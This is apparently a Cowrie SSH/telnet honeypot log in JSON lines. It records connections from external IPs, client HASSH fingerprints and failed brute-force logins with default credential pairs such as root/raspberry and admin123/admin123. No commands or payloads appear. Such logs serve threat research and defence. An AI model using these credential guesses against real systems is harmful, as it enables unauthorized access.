{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:37.502353Z","src_ip":"192.109.200.237","session":"37c0a0bc9f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33746,"dst_ip":"159.203.135.109","dst_port":22,"session":"685a172736a3","protocol":"ssh","message":"New connection: 192.109.200.237:33746 (159.203.135.109:22) [session: 685a172736a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:39.471196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:39.476397Z","src_ip":"192.109.200.237","session":"685a172736a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:39.558621Z","src_ip":"192.109.200.237","session":"685a172736a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:39.802834Z","src_ip":"192.109.200.237","session":"685a172736a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:40.887535Z","src_ip":"192.109.200.237","session":"685a172736a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.64416170120239,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:41.426236Z","src_ip":"50.6.8.71","session":"1e6089541f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57590,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbed39ab8c22","protocol":"ssh","message":"New connection: 192.109.200.237:57590 (159.203.135.109:22) [session: dbed39ab8c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:42.896137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:42.900655Z","src_ip":"192.109.200.237","session":"dbed39ab8c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:42.982024Z","src_ip":"192.109.200.237","session":"dbed39ab8c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.282298564910889,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:43.277432Z","src_ip":"122.235.245.103","session":"56a2a299fa2a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:43.377558Z","src_ip":"192.109.200.237","session":"dbed39ab8c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55900,"dst_ip":"159.203.135.109","dst_port":22,"session":"31ff3918b6c7","protocol":"ssh","message":"New connection: 103.27.238.120:55900 (159.203.135.109:22) [session: 31ff3918b6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:43.554309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:43.558038Z","src_ip":"103.27.238.120","session":"31ff3918b6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:43.819916Z","src_ip":"103.27.238.120","session":"31ff3918b6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:44.461029Z","src_ip":"192.109.200.237","session":"dbed39ab8c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcv123","message":"login attempt [root/zxcv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:44.610237Z","src_ip":"103.27.238.120","session":"31ff3918b6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:45.876777Z","src_ip":"103.27.238.120","session":"31ff3918b6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57620,"dst_ip":"159.203.135.109","dst_port":22,"session":"b786374c809a","protocol":"ssh","message":"New connection: 192.109.200.237:57620 (159.203.135.109:22) [session: b786374c809a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:46.488864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:46.493419Z","src_ip":"192.109.200.237","session":"b786374c809a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:46.576960Z","src_ip":"192.109.200.237","session":"b786374c809a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:46.822570Z","src_ip":"192.109.200.237","session":"b786374c809a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.061577796936035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:47.163603Z","src_ip":"50.6.8.71","session":"224e3c9233aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:47.908278Z","src_ip":"192.109.200.237","session":"b786374c809a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41142,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc4c4d9b273a","protocol":"telnet","message":"New connection: 50.6.8.71:41142 (10.17.0.5:23) [session: cc4c4d9b273a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:49.274986Z"}
{"eventid":"cowrie.session.closed","duration":34.12283134460449,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:49.648768Z","src_ip":"50.6.8.71","session":"fe6fff38ad81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57634,"dst_ip":"159.203.135.109","dst_port":22,"session":"331f93c96271","protocol":"ssh","message":"New connection: 192.109.200.237:57634 (159.203.135.109:22) [session: 331f93c96271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:49.861271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:49.865713Z","src_ip":"192.109.200.237","session":"331f93c96271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:49.947861Z","src_ip":"192.109.200.237","session":"331f93c96271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:50.196991Z","src_ip":"192.109.200.237","session":"331f93c96271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:51.282660Z","src_ip":"192.109.200.237","session":"331f93c96271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35184,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5d1ec406f9","protocol":"ssh","message":"New connection: 192.109.200.237:35184 (159.203.135.109:22) [session: 6f5d1ec406f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:53.283835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:53.288800Z","src_ip":"192.109.200.237","session":"6f5d1ec406f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:53.371444Z","src_ip":"192.109.200.237","session":"6f5d1ec406f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:53.617230Z","src_ip":"192.109.200.237","session":"6f5d1ec406f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:54.702266Z","src_ip":"192.109.200.237","session":"6f5d1ec406f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41126,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5aa6500237f","protocol":"telnet","message":"New connection: 50.6.8.71:41126 (10.17.0.5:23) [session: b5aa6500237f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:55.734776Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35188,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b14dc69b349","protocol":"ssh","message":"New connection: 192.109.200.237:35188 (159.203.135.109:22) [session: 4b14dc69b349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:56.797357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:56.802845Z","src_ip":"192.109.200.237","session":"4b14dc69b349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:56.887982Z","src_ip":"192.109.200.237","session":"4b14dc69b349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:57.135293Z","src_ip":"192.109.200.237","session":"4b14dc69b349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":50236,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b8ab075e0a4","protocol":"ssh","message":"New connection: 103.75.182.198:50236 (159.203.135.109:22) [session: 1b8ab075e0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:57.868462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:57.873542Z","src_ip":"103.75.182.198","session":"1b8ab075e0a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:58.124020Z","src_ip":"103.75.182.198","session":"1b8ab075e0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:58.221354Z","src_ip":"192.109.200.237","session":"4b14dc69b349","protocol":"ssh"}
